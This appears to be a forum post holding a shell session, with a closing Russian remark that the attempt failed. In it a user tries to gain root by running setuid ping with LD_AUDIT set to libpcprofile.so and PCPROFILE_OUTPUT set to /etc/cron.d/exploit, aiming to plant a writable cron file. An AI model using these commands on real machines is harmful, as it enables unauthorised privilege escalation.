sh-3.1$ umask 0

sh-3.1$ dpkg -S /lib/libpcprofile.so

libc6: /lib/libpcprofile.so

sh-3.1$ ls -l /lib/libpcprofile.so

-rw-r--r-- 1 root root 5400 Jan 17 2009 /lib/libpcprofile.so

sh-3.1$ LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping

Usage: ping [-LRUbdfnqrvVaA] [-c count] [-i interval] [-w deadline]

[-p pattern] [-s packetsize] [-t ttl] [-I interface or address]

[-M mtu discovery hint] [-S sndbuf]

[ -T timestamp option ] [ -Q tos ] [hop1 ...] destination

sh-3.1$ ls -l /etc/cron.d/exploit

ls: /etc/cron.d/exploit: No such file or directory

Так тоже не выходит, а компилировал в тот раз сам suid'ник :3